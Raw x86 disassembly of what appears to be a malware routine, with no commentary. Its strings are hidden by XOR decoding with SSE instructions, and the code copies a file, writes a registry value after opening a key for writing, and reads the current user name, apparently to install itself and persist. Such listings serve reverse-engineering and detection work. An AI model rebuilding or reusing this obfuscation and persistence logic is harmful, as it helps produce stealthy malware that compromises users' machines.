test al, al
je 0x48c6b1
mov dword [ebp - 0xaf8], 0xbae386bb
lea edx, [ebp - 0x1c48]
mov dword [ebp - 0xaf4], 0xf940fadb
mov eax, dword [ebp - 0xaf8]
mov ecx, dword [ebp - 0xaf4]
mov dword [ebp - 0x12f0], eax
mov dword [ebp - 0x12ec], ecx
mov dword [ebp - 0xb00], 0x7dbb92e6
mov dword [ebp - 0xafc], 0x14d846fe
mov eax, dword [ebp - 0xb00]
mov ecx, dword [ebp - 0xafc]
mov dword [ebp - 0x12e8], eax
mov dword [ebp - 0x12e4], ecx
mov dword [ebp - 0xb08], 0xdf9be395
mov dword [ebp - 0xb04], 0xf940fadb
mov eax, dword [ebp - 0xb08]
mov ecx, dword [ebp - 0xb04]
mov dword [ebp - 0xb10], 0x7dbb92e6
mov dword [ebp - 0xb0c], 0x14d846fe
mov dword [ebp - 0x1a50], eax
mov eax, dword [ebp - 0xb10]
mov dword [ebp - 0x1a4c], ecx
mov ecx, dword [ebp - 0xb0c]
movaps xmm1, xmmword [ebp - 0x12f0]
mov dword [ebp - 0x1a48], eax
mov dword [ebp - 0x1a44], ecx
xorps xmm1, xmmword [ebp - 0x1a50]
movaps xmmword [ebp - 0x12f0], xmm1
mov dword [ebp - 0xb18], 0xdf9be3c9
mov dword [ebp - 0xb14], 0xf940fadb
mov eax, dword [ebp - 0xb18]
mov ecx, dword [ebp - 0xb14]
mov dword [ebp - 0x12e0], eax
mov dword [ebp - 0x12dc], ecx
mov dword [ebp - 0xb20], 0x7dbb92e6
mov dword [ebp - 0xb1c], 0x14d846fe
mov eax, dword [ebp - 0xb20]
mov ecx, dword [ebp - 0xb1c]
mov dword [ebp - 0x12d8], eax
mov dword [ebp - 0x12d4], ecx
mov dword [ebp - 0xb28], 0xdf9be395
mov dword [ebp - 0xb24], 0xf940fadb
mov eax, dword [ebp - 0xb28]
mov ecx, dword [ebp - 0xb24]
mov dword [ebp - 0x1780], eax
mov dword [ebp - 0xb30], 0x7dbb92e6
mov dword [ebp - 0x177c], ecx
mov dword [ebp - 0xb2c], 0x14d846fe
mov eax, dword [ebp - 0xb30]
mov ecx, dword [ebp - 0xb2c]
movaps xmm1, xmmword [ebp - 0x12e0]
mov dword [ebp - 0x1778], eax
lea eax, [ebp - 0x12e0]
mov dword [ebp - 0x1774], ecx
lea ecx, [ebp - 0x2400]
xorps xmm1, xmmword [ebp - 0x1780]
push eax
movaps xmmword [ebp - 0x12e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x1db0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x23e8]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0x12f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc4]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x23e8]
call fcn.00402df0
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x2400]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1cc4]
mov ecx, esp
mov dword [ebp - 0x1d4c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa9
mov byte [ebp - 4], 0xa8
call fcn.004e6d70
add esp, 0x18
test al, al
jne 0x48c6a2
lea ecx, [ebp - 0x1cc4]
call fcn.00416090
lea ecx, [ebp - 0x1c30]
mov esi, eax
call fcn.00416090
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x48c6a2
mov dword [ebp - 0xb38], 0xabfd8cc6
mov dword [ebp - 0xb34], 0x9c329bac
mov eax, dword [ebp - 0xb38]
mov ecx, dword [ebp - 0xb34]
mov dword [ebp - 0x1550], eax
mov dword [ebp - 0x154c], ecx
mov dword [ebp - 0xb40], 0x1ed2dfba
mov dword [ebp - 0xb3c], 0x7bab298c
mov eax, dword [ebp - 0xb40]
mov ecx, dword [ebp - 0xb3c]
mov dword [ebp - 0x1548], eax
mov dword [ebp - 0x1544], ecx
mov dword [ebp - 0xb48], 0x8e131dc1
mov dword [ebp - 0xb44], 0xafaba870
mov eax, dword [ebp - 0xb48]
mov ecx, dword [ebp - 0xb44]
mov dword [ebp - 0x1540], eax
mov dword [ebp - 0x153c], ecx
mov dword [ebp - 0xb50], 0xed25359f
mov dword [ebp - 0xb4c], 0xecb32909
mov eax, dword [ebp - 0xb50]
mov ecx, dword [ebp - 0xb4c]
mov dword [ebp - 0x1538], eax
mov dword [ebp - 0x1534], ecx
mov dword [ebp - 0xb58], 0x807b6387
mov dword [ebp - 0xb54], 0x11c4a1c5
mov eax, dword [ebp - 0xb58]
mov ecx, dword [ebp - 0xb54]
mov dword [ebp - 0x1530], eax
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0xb60], 0xa08b66e4
mov dword [ebp - 0xb5c], 0x19127b94
mov eax, dword [ebp - 0xb60]
mov ecx, dword [ebp - 0xb5c]
mov dword [ebp - 0x1528], eax
mov dword [ebp - 0x1524], ecx
mov dword [ebp - 0xb68], 0xdf9be395
mov dword [ebp - 0xb64], 0xf940fadb
mov eax, dword [ebp - 0xb68]
mov ecx, dword [ebp - 0xb64]
mov dword [ebp - 0xb70], 0x7dbb92e6
mov dword [ebp - 0xb6c], 0x14d846fe
mov dword [ebp - 0x1a00], eax
mov eax, dword [ebp - 0xb70]
mov dword [ebp - 0x19fc], ecx
mov ecx, dword [ebp - 0xb6c]
mov dword [ebp - 0xb78], 0xd94f69a7
mov dword [ebp - 0xb74], 0xc0cfc619
mov dword [ebp - 0x19f8], eax
mov eax, dword [ebp - 0xb78]
mov dword [ebp - 0x19f4], ecx
mov ecx, dword [ebp - 0xb74]
mov dword [ebp - 0xb80], 0xae7946e8
mov dword [ebp - 0xb7c], 0x89c15b7c
mov dword [ebp - 0x19f0], eax
mov eax, dword [ebp - 0xb80]
mov dword [ebp - 0x19ec], ecx
mov ecx, dword [ebp - 0xb7c]
mov dword [ebp - 0xb88], 0xe52d17e9
mov dword [ebp - 0xb84], 0x7eadd2b7
mov dword [ebp - 0x19e8], eax
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0x19e4], ecx
mov ecx, dword [ebp - 0xb84]
mov dword [ebp - 0xb90], 0xd5d93a8a
mov dword [ebp - 0x19e0], eax
mov dword [ebp - 0xb8c], 0x19127bfa
mov eax, dword [ebp - 0xb90]
mov dword [ebp - 0x19dc], ecx
mov ecx, dword [ebp - 0xb8c]
movaps xmm1, xmmword [ebp - 0x1550]
xorps xmm1, xmmword [ebp - 0x1a00]
movaps xmmword [ebp - 0x1550], xmm1
movaps xmm1, xmmword [ebp - 0x1540]
xorps xmm1, xmmword [ebp - 0x19f0]
movaps xmmword [ebp - 0x1540], xmm1
movaps xmm1, xmmword [ebp - 0x1530]
mov dword [ebp - 0x19d8], eax
mov dword [ebp - 0x19d4], ecx
xorps xmm1, xmmword [ebp - 0x19e0]
movaps xmmword [ebp - 0x1530], xmm1
lea eax, [ebp - 0x16c]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x1550]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x48c6a2
mov edi, dword [ebp - 0x1cb4]
lea ecx, [ebp - 0x1cc4]
call fcn.00416090
mov dword [ebp - 0xb98], 0xdf9be3ca
mov esi, eax
mov dword [ebp - 0xb94], 0xf940fadb
mov ecx, dword [ebp - 0xb98]
mov edx, dword [ebp - 0xb94]
mov dword [ebp - 0x1300], ecx
mov dword [ebp - 0x12fc], edx
lea edx, [ebp - 0x1db0]
mov dword [ebp - 0xba0], 0x7dbb92e6
mov dword [ebp - 0xb9c], 0x14d846fe
mov ecx, dword [ebp - 0xba0]
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x12f8], ecx
mov dword [ebp - 0x12f4], eax
mov dword [ebp - 0xba8], 0xdf9be395
mov dword [ebp - 0xba4], 0xf940fadb
mov eax, dword [ebp - 0xba8]
mov ecx, dword [ebp - 0xba4]
mov dword [ebp - 0x1770], eax
mov dword [ebp - 0xbb0], 0x7dbb92e6
mov dword [ebp - 0x176c], ecx
mov dword [ebp - 0xbac], 0x14d846fe
mov eax, dword [ebp - 0xbb0]
mov ecx, dword [ebp - 0xbac]
movaps xmm1, xmmword [ebp - 0x1300]
mov dword [ebp - 0x1768], eax
lea eax, [ebp - 0x1300]
mov dword [ebp - 0x1764], ecx
lea ecx, [ebp - 0x2430]
xorps xmm1, xmmword [ebp - 0x1770]
push eax
movaps xmmword [ebp - 0x1300], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2418]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xab
mov ecx, eax
call fcn.00416090
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x16c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x2418]
call fcn.00402df0
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x2430]
call fcn.00402df0
push dword [ebp - 0x16c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x1cc4]
call fcn.00402df0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x1c48]
call fcn.00402df0
cmp byte [ebp - 0x47], 0
je 0x48dae3
mov dword [ebp - 0xbb8], 0x8ad7afd4
mov dword [ebp - 0xbb4], 0xaa12bf88
mov eax, dword [ebp - 0xbb8]
mov ecx, dword [ebp - 0xbb4]
mov dword [ebp - 0x1310], eax
mov dword [ebp - 0x130c], ecx
mov dword [ebp - 0xbc0], 0x3bf4c0b6
mov dword [ebp - 0xbbc], 0x149d0ab7
mov eax, dword [ebp - 0xbc0]
mov ecx, dword [ebp - 0xbbc]
mov dword [ebp - 0x1308], eax
mov dword [ebp - 0x1304], ecx
mov dword [ebp - 0xbc8], 0xdf9be395
mov dword [ebp - 0xbc4], 0xf940fadb
mov eax, dword [ebp - 0xbc8]
mov ecx, dword [ebp - 0xbc4]
mov dword [ebp - 0x1710], eax
mov dword [ebp - 0xbd0], 0x7dbb92e6
mov dword [ebp - 0x170c], ecx
mov dword [ebp - 0xbcc], 0x14d846fe
mov eax, dword [ebp - 0xbd0]
mov ecx, dword [ebp - 0xbcc]
movaps xmm1, xmmword [ebp - 0x1310]
mov dword [ebp - 0x1708], eax
lea eax, [ebp - 0x1310]
mov dword [ebp - 0x1704], ecx
xorps xmm1, xmmword [ebp - 0x1710]
push eax
movaps xmmword [ebp - 0x1310], xmm1
call fcn.004423e1
add esp, 4
test eax, eax
je 0x48dae3
push eax
lea ecx, [ebp - 0x1c60]
call fcn.00402cf0
mov byte [ebp - 4], 0xac
mov dword [ebp - 0xbd8], 0xdf9be3c9
mov dword [ebp - 0xbd4], 0xf940fadb
mov eax, dword [ebp - 0xbd8]
mov ecx, dword [ebp - 0xbd4]
mov dword [ebp - 0x1320], eax
mov dword [ebp - 0x131c], ecx
mov dword [ebp - 0xbe0], 0x7dbb92e6
mov dword [ebp - 0xbdc], 0x14d846fe
mov eax, dword [ebp - 0xbe0]
mov ecx, dword [ebp - 0xbdc]
mov dword [ebp - 0x1318], eax
mov dword [ebp - 0x1314], ecx
mov dword [ebp - 0xbe8], 0xdf9be395
mov dword [ebp - 0xbe4], 0xf940fadb
mov eax, dword [ebp - 0xbe8]
mov ecx, dword [ebp - 0xbe4]
mov dword [ebp - 0x1700], eax
mov dword [ebp - 0xbf0], 0x7dbb92e6
mov dword [ebp - 0x16fc], ecx
mov dword [ebp - 0xbec], 0x14d846fe
mov eax, dword [ebp - 0xbf0]
mov ecx, dword [ebp - 0xbec]
movaps xmm1, xmmword [ebp - 0x1320]
mov dword [ebp - 0x16f8], eax
lea eax, [ebp - 0x1320]
mov dword [ebp - 0x16f4], ecx
lea ecx, [ebp - 0x1c60]
xorps xmm1, xmmword [ebp - 0x1700]
push eax
movaps xmmword [ebp - 0x1320], xmm1
call fcn.00416210
mov dword [ebp - 0xbf8], 0xdf9be3ca
lea edx, [ebp - 0x1cf4]
mov dword [ebp - 0xbf4], 0xf940fadb
mov eax, dword [ebp - 0xbf8]
mov ecx, dword [ebp - 0xbf4]
mov dword [ebp - 0x1330], eax
mov dword [ebp - 0x132c], ecx
mov dword [ebp - 0xc00], 0x7dbb92e6
mov dword [ebp - 0xbfc], 0x14d846fe
mov eax, dword [ebp - 0xc00]
mov ecx, dword [ebp - 0xbfc]
mov dword [ebp - 0x1328], eax
mov dword [ebp - 0x1324], ecx
mov dword [ebp - 0xc08], 0xdf9be395
mov dword [ebp - 0xc04], 0xf940fadb
mov eax, dword [ebp - 0xc08]
mov ecx, dword [ebp - 0xc04]
mov dword [ebp - 0x16f0], eax
mov dword [ebp - 0xc10], 0x7dbb92e6
mov dword [ebp - 0x16ec], ecx
mov dword [ebp - 0xc0c], 0x14d846fe
mov eax, dword [ebp - 0xc10]
mov ecx, dword [ebp - 0xc0c]
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x16e8], eax
lea eax, [ebp - 0x1330]
mov dword [ebp - 0x16e4], ecx
lea ecx, [ebp - 0x1fc8]
xorps xmm1, xmmword [ebp - 0x16f0]
push eax
movaps xmmword [ebp - 0x1330], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1fb0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x1c60]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x1fb0]
call fcn.00402df0
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0x1fc8]
call fcn.00402df0
lea ecx, [ebp - 0x1c60]
call fcn.00416090
mov ecx, eax
call fcn.004e6ca0
test al, al
jne 0x48ca07
lea ecx, [ebp - 0x1c60]
call fcn.00416090
push eax
lea ecx, [ebp - 0x1e88]
call fcn.00402cf0
mov byte [ebp - 4], 0xaf
lea ecx, [ebp - 0x1e88]
mov esi, dword [ebp - 0x18]
or esi, 0x1000
mov dword [ebp - 0x18], esi
call fcn.00408860
test al, al
jne 0x48ca0a
mov byte [ebp - 0x11], al
jmp 0x48ca0e
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xac
test esi, 0x1000
je 0x48ca31
and esi, 0xffffefff
lea ecx, [ebp - 0x1e88]
mov dword [ebp - 0x18], esi
call fcn.00402df0
cmp byte [ebp - 0x11], 0
je 0x48dad4
mov dword [ebp - 0xc18], 0xbae386bb
lea edx, [ebp - 0x1c60]
mov dword [ebp - 0xc14], 0xf940fadb
mov eax, dword [ebp - 0xc18]
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x1350], eax
mov dword [ebp - 0x134c], ecx
mov dword [ebp - 0xc20], 0x7dbb92e6
mov dword [ebp - 0xc1c], 0x14d846fe
mov eax, dword [ebp - 0xc20]
mov ecx, dword [ebp - 0xc1c]
mov dword [ebp - 0x1348], eax
mov dword [ebp - 0x1344], ecx
mov dword [ebp - 0xc28], 0xdf9be395
mov dword [ebp - 0xc24], 0xf940fadb
mov eax, dword [ebp - 0xc28]
mov ecx, dword [ebp - 0xc24]
mov dword [ebp - 0xc30], 0x7dbb92e6
mov dword [ebp - 0xc2c], 0x14d846fe
mov dword [ebp - 0x16e0], eax
mov eax, dword [ebp - 0xc30]
mov dword [ebp - 0x16dc], ecx
mov ecx, dword [ebp - 0xc2c]
movaps xmm1, xmmword [ebp - 0x1350]
mov dword [ebp - 0x16d8], eax
mov dword [ebp - 0x16d4], ecx
xorps xmm1, xmmword [ebp - 0x16e0]
movaps xmmword [ebp - 0x1350], xmm1
mov dword [ebp - 0xc38], 0xdf9be3c9
mov dword [ebp - 0xc34], 0xf940fadb
mov eax, dword [ebp - 0xc38]
mov ecx, dword [ebp - 0xc34]
mov dword [ebp - 0x1340], eax
mov dword [ebp - 0x133c], ecx
mov dword [ebp - 0xc40], 0x7dbb92e6
mov dword [ebp - 0xc3c], 0x14d846fe
mov eax, dword [ebp - 0xc40]
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x1338], eax
mov dword [ebp - 0x1334], ecx
mov dword [ebp - 0xc48], 0xdf9be395
mov dword [ebp - 0xc44], 0xf940fadb
mov eax, dword [ebp - 0xc48]
mov ecx, dword [ebp - 0xc44]
mov dword [ebp - 0x16d0], eax
mov dword [ebp - 0xc50], 0x7dbb92e6
mov dword [ebp - 0x16cc], ecx
mov dword [ebp - 0xc4c], 0x14d846fe
mov eax, dword [ebp - 0xc50]
mov ecx, dword [ebp - 0xc4c]
movaps xmm1, xmmword [ebp - 0x1340]
mov dword [ebp - 0x16c8], eax
lea eax, [ebp - 0x1340]
mov dword [ebp - 0x16c4], ecx
lea ecx, [ebp - 0x1ff8]
xorps xmm1, xmmword [ebp - 0x16d0]
push eax
movaps xmmword [ebp - 0x1340], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x1cf4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1fe0]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0x1350]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cdc]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x1fe0]
call fcn.00402df0
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x1ff8]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1cdc]
mov ecx, esp
mov dword [ebp - 0x1d48], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xb5
mov byte [ebp - 4], 0xb4
call fcn.004e6d70
add esp, 0x18
test al, al
jne 0x48dac5
lea ecx, [ebp - 0x1cdc]
call fcn.00416090
lea ecx, [ebp - 0x1c30]
mov esi, eax
call fcn.00416090
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x48dac5
push 0x104
lea eax, [ebp - 0x2b88]
mov dword [ebp - 0x298], 0x104
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x2b88]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0xc58], 0xfdc9abb5
mov dword [ebp - 0xc54], 0x9a33d5fb
mov eax, dword [ebp - 0xc58]
mov ecx, dword [ebp - 0xc54]
mov dword [ebp - 0x14e0], eax
mov dword [ebp - 0x14dc], ecx
mov dword [ebp - 0xc60], 0x28f4dac6
mov dword [ebp - 0xc5c], 0x34810aac
mov eax, dword [ebp - 0xc60]
mov ecx, dword [ebp - 0xc5c]
mov dword [ebp - 0x14d8], eax
mov dword [ebp - 0x14d4], ecx
mov dword [ebp - 0xc68], 0xf9231b88
mov dword [ebp - 0xc64], 0x88888f51
mov eax, dword [ebp - 0xc68]
mov ecx, dword [ebp - 0xc64]
mov dword [ebp - 0x14d0], eax
mov dword [ebp - 0x14cc], ecx
mov dword [ebp - 0xc70], 0xae2d15ad
mov dword [ebp - 0xc6c], 0x89c15b7c
mov eax, dword [ebp - 0xc70]
mov ecx, dword [ebp - 0xc6c]
mov dword [ebp - 0x14c8], eax
mov dword [ebp - 0x14c4], ecx
mov dword [ebp - 0xc78], 0xdf9be395
mov dword [ebp - 0xc74], 0xf940fadb
mov eax, dword [ebp - 0xc78]
mov ecx, dword [ebp - 0xc74]
mov dword [ebp - 0xc80], 0x7dbb92e6
mov dword [ebp - 0xc7c], 0x14d846fe
mov dword [ebp - 0x1b80], eax
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x1b7c], ecx
mov ecx, dword [ebp - 0xc7c]
mov dword [ebp - 0xc88], 0xd94f69a7
mov dword [ebp - 0xc84], 0xc0cfc619
mov dword [ebp - 0x1b78], eax
mov eax, dword [ebp - 0xc88]
mov dword [ebp - 0x1b74], ecx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0xc90], 0xae7946e8
mov dword [ebp - 0xc8c], 0x89c15b7c
mov dword [ebp - 0x1b70], eax
mov eax, dword [ebp - 0xc90]
mov dword [ebp - 0x1b6c], ecx
mov ecx, dword [ebp - 0xc8c]
movaps xmm1, xmmword [ebp - 0x14e0]
xorps xmm1, xmmword [ebp - 0x1b80]
movaps xmmword [ebp - 0x14e0], xmm1
movaps xmm1, xmmword [ebp - 0x14d0]
mov dword [ebp - 0x1b68], eax
mov dword [ebp - 0x1b64], ecx
xorps xmm1, xmmword [ebp - 0x1b70]
movaps xmmword [ebp - 0x14d0], xmm1
mov dword [ebp - 0xc98], 0xdf9be3ca
mov dword [ebp - 0xc94], 0xf940fadb
mov eax, dword [ebp - 0xc98]
mov ecx, dword [ebp - 0xc94]
mov dword [ebp - 0xf30], eax
mov dword [ebp - 0xf2c], ecx
mov dword [ebp - 0xca0], 0x7dbb92e6
mov dword [ebp - 0xc9c], 0x14d846fe
mov eax, dword [ebp - 0xca0]
mov ecx, dword [ebp - 0xc9c]
mov dword [ebp - 0xf28], eax
mov dword [ebp - 0xf24], ecx
mov dword [ebp - 0xca8], 0xdf9be395
mov dword [ebp - 0xca4], 0xf940fadb
mov eax, dword [ebp - 0xca8]
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0xcb0], 0x7dbb92e6
mov dword [ebp - 0xcac], 0x14d846fe
mov dword [ebp - 0x16c0], eax
mov eax, dword [ebp - 0xcb0]
mov dword [ebp - 0x16bc], ecx
mov ecx, dword [ebp - 0xcac]
movaps xmm1, xmmword [ebp - 0xf30]
mov dword [ebp - 0x16b8], eax
mov dword [ebp - 0x16b4], ecx
xorps xmm1, xmmword [ebp - 0x16c0]
movaps xmmword [ebp - 0xf30], xmm1
mov dword [ebp - 0xcb8], 0xabb4c3b7
mov dword [ebp - 0xcb4], 0xf962dab5
mov eax, dword [ebp - 0xcb8]
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0xf20], eax
mov dword [ebp - 0xf1c], ecx
mov dword [ebp - 0xcc0], 0x7dbb92e6
mov dword [ebp - 0xcbc], 0x14d846fe
mov eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0xcbc]
mov dword [ebp - 0xf18], eax
mov dword [ebp - 0xf14], ecx
mov dword [ebp - 0xcc8], 0xdf9be395
mov dword [ebp - 0xcc4], 0xf940fadb
mov eax, dword [ebp - 0xcc8]
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0xcd0], 0x7dbb92e6
mov dword [ebp - 0xccc], 0x14d846fe
mov dword [ebp - 0x16b0], eax
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0x16ac], ecx
mov ecx, dword [ebp - 0xccc]
movaps xmm1, xmmword [ebp - 0xf20]
mov dword [ebp - 0x16a8], eax
mov dword [ebp - 0x16a4], ecx
xorps xmm1, xmmword [ebp - 0x16b0]
movaps xmmword [ebp - 0xf20], xmm1
mov dword [ebp - 0xcd8], 0xabb4c3b7
mov dword [ebp - 0xcd4], 0xf962daa9
mov eax, dword [ebp - 0xcd8]
mov ecx, dword [ebp - 0xcd4]
mov dword [ebp - 0xf10], eax
mov dword [ebp - 0xf0c], ecx
mov dword [ebp - 0xce0], 0x7dbb92e6
mov dword [ebp - 0xcdc], 0x14d846fe
mov eax, dword [ebp - 0xce0]
mov ecx, dword [ebp - 0xcdc]
mov dword [ebp - 0xf08], eax
mov dword [ebp - 0xf04], ecx
mov dword [ebp - 0xce8], 0xdf9be395
mov dword [ebp - 0xce4], 0xf940fadb
mov eax, dword [ebp - 0xce8]
mov ecx, dword [ebp - 0xce4]
mov dword [ebp - 0x1a60], eax
mov dword [ebp - 0xcf0], 0x7dbb92e6
mov dword [ebp - 0x1a5c], ecx
mov dword [ebp - 0xcec], 0x14d846fe
mov eax, dword [ebp - 0xcf0]
mov ecx, dword [ebp - 0xcec]
movaps xmm1, xmmword [ebp - 0xf10]
mov dword [ebp - 0x1a58], eax
lea eax, [ebp - 0x2b88]
mov dword [ebp - 0x1a54], ecx
lea ecx, [ebp - 0x20b8]
xorps xmm1, xmmword [ebp - 0x1a60]
push eax
movaps xmmword [ebp - 0xf10], xmm1
call fcn.00402cf0
push eax
mov byte [ebp - 4], 0xb6
mov dword [ebp - 0xcf8], 0xabf380e6
mov dword [ebp - 0xcf4], 0x8a2b89ba
mov ecx, dword [ebp - 0xcf8]
mov edx, dword [ebp - 0xcf4]
mov dword [ebp - 0x14c0], ecx
mov dword [ebp - 0x14bc], edx
mov dword [ebp - 0xd00], 0xfd8bdc6
mov dword [ebp - 0xcfc], 0x71ac279b
mov eax, dword [ebp - 0xd00]
lea edx, [ebp - 0x14c0]
mov ecx, dword [ebp - 0xcfc]
mov dword [ebp - 0x14b4], ecx
mov dword [ebp - 0x14b8], eax
mov dword [ebp - 0xd08], 0xf9294687
mov dword [ebp - 0xd04], 0xe09a9436
mov eax, dword [ebp - 0xd08]
mov ecx, dword [ebp - 0xd04]
mov dword [ebp - 0x14ac], ecx
mov dword [ebp - 0x14b0], eax
mov dword [ebp - 0xd10], 0xae7946ca
mov dword [ebp - 0xd0c], 0x89c15b7c
mov eax, dword [ebp - 0xd10]
mov ecx, dword [ebp - 0xd0c]
mov dword [ebp - 0x14a4], ecx
mov dword [ebp - 0x14a8], eax
mov dword [ebp - 0xd18], 0xdf9be395
mov dword [ebp - 0xd14], 0xf940fadb
mov eax, dword [ebp - 0xd18]
mov ecx, dword [ebp - 0xd14]
mov dword [ebp - 0xd20], 0x7dbb92e6
mov dword [ebp - 0xd1c], 0x14d846fe
mov dword [ebp - 0x1ba0], eax
mov eax, dword [ebp - 0xd20]
mov dword [ebp - 0x1b9c], ecx
mov ecx, dword [ebp - 0xd1c]
mov dword [ebp - 0xd28], 0xd94f69a7
mov dword [ebp - 0xd24], 0xc0cfc619
mov dword [ebp - 0x1b98], eax
mov eax, dword [ebp - 0xd28]
mov dword [ebp - 0x1b94], ecx
mov ecx, dword [ebp - 0xd24]
mov dword [ebp - 0xd30], 0xae7946e8
mov dword [ebp - 0x1b90], eax
mov dword [ebp - 0x1b8c], ecx
mov dword [ebp - 0xd2c], 0x89c15b7c
mov eax, dword [ebp - 0xd30]
mov ecx, dword [ebp - 0xd2c]
movaps xmm1, xmmword [ebp - 0x14c0]
xorps xmm1, xmmword [ebp - 0x1ba0]
movaps xmmword [ebp - 0x14c0], xmm1
movaps xmm1, xmmword [ebp - 0x14b0]
mov dword [ebp - 0x1b84], ecx
lea ecx, [ebp - 0x2358]
mov dword [ebp - 0x1b88], eax
xorps xmm1, xmmword [ebp - 0x1b90]
movaps xmmword [ebp - 0x14b0], xmm1
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xf10]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2088]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0x1cdc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2070]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0xf20]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2058]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xba
lea ecx, [ebp - 0x1cf4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2040]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0xf30]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2028]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2010]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0x14e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1eb8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xbf
lea ecx, [ebp - 0x2010]
call fcn.00402df0
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x2028]
call fcn.00402df0
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x2040]
call fcn.00402df0
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x2058]
call fcn.00402df0
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x2070]
call fcn.00402df0
mov byte [ebp - 4], 0xc4
lea ecx, [ebp - 0x2088]
call fcn.00402df0
mov byte [ebp - 4], 0xc5
lea ecx, [ebp - 0x2358]
call fcn.00402df0
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x20b8]
call fcn.00402df0
sub esp, 0x18
lea ecx, [ebp - 0x1eb8]
mov esi, esp
mov dword [ebp - 0x1d6c], esp
call fcn.00416090
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0xc7
mov byte [ebp - 4], 0xc6
xor cl, cl
call fcn.004d3070
mov dword [ebp - 0x308], 0xfddcafb5
add esp, 0x18
mov dword [ebp - 0x304], 0x9a33d5fb
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x304]
mov dword [ebp - 0x1520], eax
mov dword [ebp - 0x151c], ecx
mov dword [ebp - 0xd40], 0x31f5ddc6
mov dword [ebp - 0xd3c], 0x5a9701b1
mov eax, dword [ebp - 0xd40]
mov ecx, dword [ebp - 0xd3c]
mov dword [ebp - 0x1518], eax
mov dword [ebp - 0x1514], ecx
